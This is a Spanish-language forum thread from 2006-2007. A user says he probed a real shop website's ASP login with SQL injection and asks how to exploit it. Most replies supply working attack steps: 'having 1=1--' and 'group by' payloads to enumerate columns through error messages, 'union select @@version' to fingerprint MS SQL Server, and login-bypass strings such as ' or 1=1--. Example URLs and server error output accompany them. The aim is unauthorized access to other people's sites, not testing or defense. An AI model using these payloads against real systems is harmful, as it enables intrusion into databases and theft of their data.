inquietud SQL Injection en ASP

Iniciado por BandidoOFF, 21 Agosto 2006, 02:05 AM

0 Miembros y 1 Visitante están viendo este tema.

BandidoOFF

Tengo una inquietud acerca de SQL Injection en paginas ASP.

Curioseando por ahi, intente hacer Sql Injection en una web hecha en ASP, la cual para ingresar se requiere  de un Correo Electronico y una Clave. Leyendo sobre las tecnica de Sql Injection aplique una de las formas mas conocidas, y me salio el siguiente error:

Microsoft VBScript compilation error '800a0411'

Name redefined

/tienda/template/menu.asp, line 22

Dim mscsUser
----^
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near '='.

/tienda/ingreso.asp, line 49

De este error puedo deducir segun mi humilde opinion que se trata de una BD SQL server usando un Protocolo o Driver general para acceso a la BD como OLE DB.

Ademas de la variable declarada en VbScript de nombre mscsUser

La pregunta es ¿Este error indica que puede ser vulnerable a SQL Injection?, si es asi, ¿como podria hacerlo?..o que me sugieren.

Gracias.


Entre mas se, mas dudas tengo.

[.:: NauJFracT ::.]

pues si conoces como son los registros de esa base de datos podrías hacer varias cosas, los conoces?

De vuelta...

BandidoOFF

La verdad no, solo hice una prueba y me salio el error que comente.
Entre mas se, mas dudas tengo.

sirdarckcat

lee los manuales de SQL Injection que hay en el foro.. ahi tambien puse links a otros docs.

Saludos!!

s0cratex

Viendo tu error creo que no es necesario que pongas la comilla simple ' antes de las inyecciones.

Ahora intenta sacar el nombre de la tabla y los campos con:
having 1=1--
ex: http://www.sitio.com/noticia.asp?codigo=2 having 1=1--
ahora recibiras un error así:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'noticias.id_noticia' is invalid in the select list because it is...

Luego coges el nombre del campo noticias.id_noticia y lo inyectas así:
http://www.sitio.com/noticia.asp?codigo=2 group by noticias.id_noticia having 1=1--
y recibiras practicamente el mismo error pero con otro nombre de campo...

Una vez sacados todos los nombres de los campos podrías sacar la versión del MS-SQL con "union select":
http://www.sitio.com/noticia.asp?codigo=2 union select @@version,1,1,1--

deberas poner tantos "1" como campos haya en la tabla:
Tipo de error:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.

Y así ir probando y probando:
Para más información busca en Internet, estos ejemplos los encontras claramente explicados aquí:

http://www.telefonica.net/web/espaiwebfacultat/asqlinj.zip

espero te sirva este post... by



------------------------------------
.:[| s0cratex security crazy |]:.
------------------------------------

servidor32

#5
Bueno yo tambien tengo unos problemitas con la inyeccion de codigos resulta k pongo en el login y el password de una pagina asp esto login: ''or '1'=' y en el pass: ''or '1'=' lo mismo y me da el siguiente error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near '1'.

/validar.asp, line 98
y cuando pongo having 1=1-- en el usuario y contraseña me dice contraseña o pass invalidos

wizache

Cita de: servidor32 en 24 Junio 2007, 04:24 AM
Bueno yo tambien tengo unos problemitas con la inyeccion de codigos resulta k pongo en el login y el password de una pagina asp esto login: ''or '1'=' y en el pass: ''or '1'=' lo mismo y me da el siguiente error:
en el lgin deberias poner
' or '1'='1
lo que dices que pusiste es incorrecto:
imagina la cadena sql:
SELECT * FROM ususario WHERE user='' or '1'='1' AND....
nota como la cadena es valida todos lso comillas se cierran correctamente en cambio con lo que tu envias no:
SELECT * FROM ususario WHERE user='''or '1'=' ' AND....

tambien pruedes probar el ya clasico
' or 1=1--
SELECT * FROM ususario WHERE user=''or 1=1 -- ' AND (todo esto se vuelve comentario)....

Tengu

alguien entiende este error?:
al intentar:
http://www.vulnerable.com:80/search.asp?bqd=111-222-1933email@address.com&oper='

Recibo el siguiientye error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e21'

El controlador ODBC no admite las propiedades solicitadas.

/search.asp, line 106

Encuentros por Video y Chat !!

yeikos

Sí, que has roto la sintaxis de la consulta con la camilla simple.